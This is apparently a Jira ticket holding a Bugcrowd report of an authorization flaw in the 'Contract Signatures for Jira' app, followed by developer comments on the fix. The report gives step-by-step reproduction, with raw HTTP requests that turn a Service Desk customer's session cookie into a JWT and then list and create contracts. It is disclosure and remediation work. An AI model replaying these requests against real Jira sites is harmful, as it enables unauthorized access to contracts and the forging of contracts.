Unauthorized Access gained from Jira Service Desk customer.account.session.token

Description

It was identified that a user with "customer" privileges on a Jira Service Desk portal is capable of listing contracts linked to their created request via the portal. Moreover, they can create new arbitrary contracts also linked to this request, despite not having direct access to Jira.

Details

Initially, a service project was established, and subsequently, a customer account was registered on that portal.

Next, a request was sent authenticated as a customer to the service desk project, as illustrated below:

The admin created a contract linked to the issue that the customer created through the portal.
Note that the customer does not have access to the contract linked to the issue.

The following image shows the requests made to obtain the customer user's session token in the "Contract Signatures" application:

  • Request sent to obtain a contextURL, by specifying the service project ID and the customer-created request ID in the URL.

  • Then, a GET request was submitted to the contextUrl to retrieve a valid JWT in the server response:

Subsequently, it was possible to create a contract linked to issue 10099 (SUP-13 created by the customer), using the customer user's session token:

The following image shows that it was possible to access all contracts associated with issue 10099, using the customer user's session token:

Impact

This vulnerability compromises the confidentiality of the contracts linked to the request submitted by the customer. The customer does not have access to the attachments of the issue (created by agents) and lacks access to the application via the helpdesk portal. Additionally, attackers can create arbitrary contracts, allowing them unauthorized influence and control over contract management processes. This exposure could lead to serious data breaches and unauthorized contractual obligations being imposed without proper oversight or authorization.

Steps to Reproduce

  1. Log in as an administrator in Jira and install the “Contract Signature for Jira” app.

  2. Create a service project in Jira.

  3. Access the created service project and copy the project portal URL from the "channels" menu.

  4. Access the portal URL in another browser and register a customer account.

  5. As the customer user, submit a request via the portal.

  6. In your browser's developer tools, copy the customer.account.session.token cookie.

  7. Replace {your-domain} in the following request with your Jira hostname:

  • Replace {customer-cookie} with the copied value (customer cookie).

  • Increment the project.id parameter by 1 until reaching the correct ID of the request created via the portal.

    • Once the correct ID is reached, it will be reflected in the collectionId=[project-id] parameter in the server response.

  • Increment the issue.id parameter by 1 until reaching the correct ID of the request created via the portal.

  • Once the correct ID is reached, it will be reflected in the refId=[issue-id] parameter in the server response.

POST /plugins/servlet/ac/document-sign-jira/document-sign-issue-view?classifier=json&project.id=10002&issue.id=10099 HTTP/2Host: {your-domain}.atlassian.netCookie: customer.account.session.token=
  1. Copy the URL in the URL parameter.

  2. Submit a GET request to the copied URL.

  3. Copy the JWT in the server response (<input type="hidden" name="jwt" value=").

Vulnerability Reproduction

  1. Submit the following request after replacing {customer-jwt} and {issue-id} with the obtained values:

    • Create a contract:

POST /connect/document-sign-jira/create-contract? HTTP/1.1Host: contract-signatures.comContent-Type: application/x-www-form-urlencodedContent-Length: 1570Origin: https://contract-signatures.comname=Contract-name-bugcrowd-poc&expirationTime=2024-06-27T04%3A00&timeZone=America%2FSao_Paulo&prependTitle=on&refId={issue-id}&collectionId=10000&version=0&jwt={customer-jwt}&dynamic%3APerson+A=true&name%3APerson+A=bugcrowd1&email%3APerson+A=lopseg%2Btest1%40bugcrowdninja.com&phone%3APerson+A=&accessKind%3APerson+A=EMAIL&signingMethodDraw%3APerson+A=DRAW&signingMethodUpload%3APerson+A=UPLOAD&signingMethodRender%3APerson+A=RENDER&otpMethod%3APerson+A=EMAIL&receivesCompletedContract%3APerson+A=1&receivesCompletedContract%3APerson+A=on&dynamic%3APerson+B=true&name%3APerson+B=lopseg2&email%3APerson+B=lopseg%2Btest2%40bugcrowndinja.com&phone%3APerson+B=&accessKind%3APerson+B=EMAIL&signingMethodDraw%3APerson+B=DRAW&signingMethodUpload%3APerson+B=UPLOAD&signingMethodRender%3APerson+B=RENDER&otpMethod%3APerson+B=EMAIL&receivesCompletedContract%3APerson+B=1&receivesCompletedContract%3APerson+B=on&action=create
  • Access issue contracts:

GET /connect/document-sign-jira/list?order-by=CREATION_DATE_DESC&refId={issue-id}&jwt={customer-jwt} HTTP/1.1Host: contract-signatures.com
  1. Observe that it was possible to perform these operations without proper authorization.

Activity

Krzysztof Surdacki 24 July 2024, 15:34

New version of the app has been published.

Automation for Jira 23 July 2024, 09:30

Hello @Krzysztof Surdacki,

Please merge code to dev branch.
This is the best moment to add more information that can be helpful to prepare release notes.

  • Can you prepare short overview of change that can be used in release notes?

  • Please provide short GIF that showcase feature.

  • If GIF make no sense, can you provide image that highlights feature that can be used in release notes (cropped & annotated)?

Polina Naumenko 23 July 2024, 09:30

Fix verified - QA env

Automation for Jira 22 July 2024, 10:56

Hello @Krzysztof Surdacki

This is the best moment to add more information that can be helpful for tester.

  • What areas are affected?

  • What are potential edge cases?

  • Was it checked for XSS problems?

  • Does change affect security, is new data exposed?

Please attach - Before / After screenshot if possible.

Automation for Jira 22 July 2024, 10:56

Hello @Krzysztof Surdacki,
Task is ready for review.

@Krzysztof Surdacki please make sure reviewer
have easy access to contend to be reviewed.

If this is code change. Please make sure PR is created.
If this is new documentation, blogpost, etc. Please provide link to page.

Krzysztof Surdacki 22 July 2024, 10:56

has been deployed. Waiting 24h for atlassian-connect.json reload to close bugcrowd submission.

Krzysztof Surdacki 10 July 2024, 09:06

First working solution

Add can-use-jira-core={condition.can_use_application(applicationKey=jira-core)} URL parameter to commonQuery in application.json and check this value during jwt validation.

Remarks

We should fortified every addon endpoint with such conditional URL parameters:

  • check if user can access jira: can-use-jira-core={condition.can_use_application(applicationKey=jira-core)} or confluence can-use-confluence={condition.user_can_use_confluence} first of all

  • can user add attachment can-add-attachment={condition.has_issue_permission(permission=CREATE_ATTACHMENTS)} / can-add-attachment={condition.has_attachment_permission(permission=EDIT)}

  • and so on ...

Proposition

I thinking about a general mechanizm for protecting our addons endpoints:

  • AtlassianAuthHandler could examine all has-access parameters for true values.

  • As a backward compatibility, lack of such parameters would allow access.

  • Then in atlassian-connect.json we could assemble URLs like this:
    /list?refId={issue.id}&collectionId={project.id}&has-access={condition.can_use_application(applicationKey=jira-core)}&has-access={{condition.has_issue_permission(permission=CREATE_ATTACHMENTS)}

  • We have to check how parameters with the same name are hashed in Atlassian JWT qsh 🤔 so that no one could remove some of the has-access parameters. I think we can always put all of those conditions in one parameter somehow separated like has-access={condition.can_use_application(applicationKey=jira-core)},{{condition.has_issue_permission(permission=CREATE_ATTACHMENTS)}. Anyway more security exploration is required.

Krzysztof Surdacki 10 July 2024, 08:39
Krzysztof Surdacki 10 July 2024, 08:18

JWT payload from POST plugins/servlet

JWT payload fron Jira iframe

{  "sub": "qm:4cf7c812-ee1b-45c5-9568-5979cbc163c5:90dbe200-9e59-4177-8840-6378d12d957c",  "qsh": "54adbed9d37dc803577ed79d09325622aa2cab467ca0f09424cdedfdb06d0057",  "iss": "2fbeb384-2a29-370d-ad2e-217f678201be",  "context": {},  "exp": 1720598841,  "iat": 1720597941}
{  "sub": "557058:3acc79e1-1788-47f5-ada2-8772507f04de",  "qsh": "54adbed9d37dc803577ed79d09325622aa2cab467ca0f09424cdedfdb06d0057",  "iss": "2fbeb384-2a29-370d-ad2e-217f678201be",  "context": {},  "exp": 1720599792,  "iat": 1720598892}

Subject prefix differs qm: vs. 557058:.

Is qm: prefix for service desk portal users ? Question never answered: https://community.developer.atlassian.com/t/service-desk-user-jwt-token-subject/58699/13

ACT_AS_USER only grant could solve a lot of security problems

Krzysztof Surdacki 10 July 2024, 08:11

query params returned in POST plugins/servlet

query params from Jira iframe

THERE IS NO DIFFERENCE ‼️

Krzysztof Surdacki 10 July 2024, 07:59
Krzysztof Surdacki 9 July 2024, 17:18

https://developer.atlassian.com/cloud/jira/software/conditions/#can_use_application-condition

but

You should not rely on Connect conditions as a mechanism to protect sensitive data. This is because conditions are executed on the client-side, and it is impossible to guarantee that the execution results won't be overridden using the developer tools of a browser.

We strongly recommend that you apply appropriate permission checks in your code on top of Connect conditions for any sensitive data you are going to operate with.

Krzysztof Surdacki 9 July 2024, 17:15
Krzysztof Surdacki 9 July 2024, 15:31

I decreased the priority because the attacker gains access to contracts created from issue submitted by the attacker through servicedesk only, so ...

  • Contract content created form the issue description is already known to the attacker, as he created it himself.

  • There is no real life use case for creating contracts from issue submitted through servicedesk.

Krzysztof Surdacki 9 July 2024, 14:31

‼️ POST https://{ subdomain }.atlassian.net/plugins/servlet/ac/document-sign-jira/document-sign-issue-view?classifier=json&project.id={ projectId }&issue.id={ issueId }

with cookie customer.account.session.token copied from service desk

creates response with url to https://{ subdomain }.surdacki.tech/connect/document-sign-jira/list with valid jwt…

After listing, a new jwt is created which now can be used to contract management too on this issue.